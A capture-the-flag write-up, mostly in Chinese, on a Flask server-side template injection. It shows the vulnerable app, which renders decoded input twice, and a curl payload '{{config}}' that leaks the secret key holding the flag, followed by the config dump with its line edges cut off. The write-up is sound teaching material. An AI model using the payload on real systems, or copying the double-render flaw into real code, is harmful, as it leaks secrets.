decode

#Web #python #flask #SSTI

```
from flask import Flask, request, render_template, render_template_string
import os
import base64

app = Flask(__name__)
app.secret_key = os.getenv('FLAG')


def render(result, status, lastInput):
    return render_template('./index.html',
                           result=result,
                           status=status,
                           lastInput=lastInput)


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        try:
            return render_template_string(
                render(base64.b64decode(request.form.get('expr')).decode('utf-
8'), 'success',
                       request.form.get('expr')))
        except:
            return render('Dame dane~', 'failure', request.form.get('expr'))
    else:
        return render('', '', '')


app.run(host='0.0.0.0', port=1234)
```

这题源码是后来放出的，没有源码的话也可以通过`Server`响应头推测出是`flask`作为后端。

代码逻辑中完成base64解码的用户输入在渲染了一次之后又经过了一次多余的渲染，于是有了SSTI（Server-Side Template Injection）的可能性。

利用方式是构造模板字符串，base64编码后作为用户输入，服务器解码后渲染一次无恙，第二次渲染便遇到了我们构造的非法模板。

另一个知识点是`flask`的配置在可以通过全局变量`config`获取。

```
curl --data expr="$(echo '{{config}}' | base64)" http://<host>:<port>/
```

```
    .success::after {
        content: "&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TES
G&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: &#39;Spirit{591e0da2-543
c3e-9abf-b09346cb66d0}&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#3
SE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#
SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_C
IE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False
#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONT
_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: N
, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_
_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: None, &#39;JSON_SORT_KEYS&#39;: None, &#39;J
IFY_PRETTYPRINT_REGULAR&#39;: None, &#39;JSONIFY_MIMETYPE&#39;: None, &#39;TEMPLATES_AUTO_RELOAD&#3
 None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;
";
```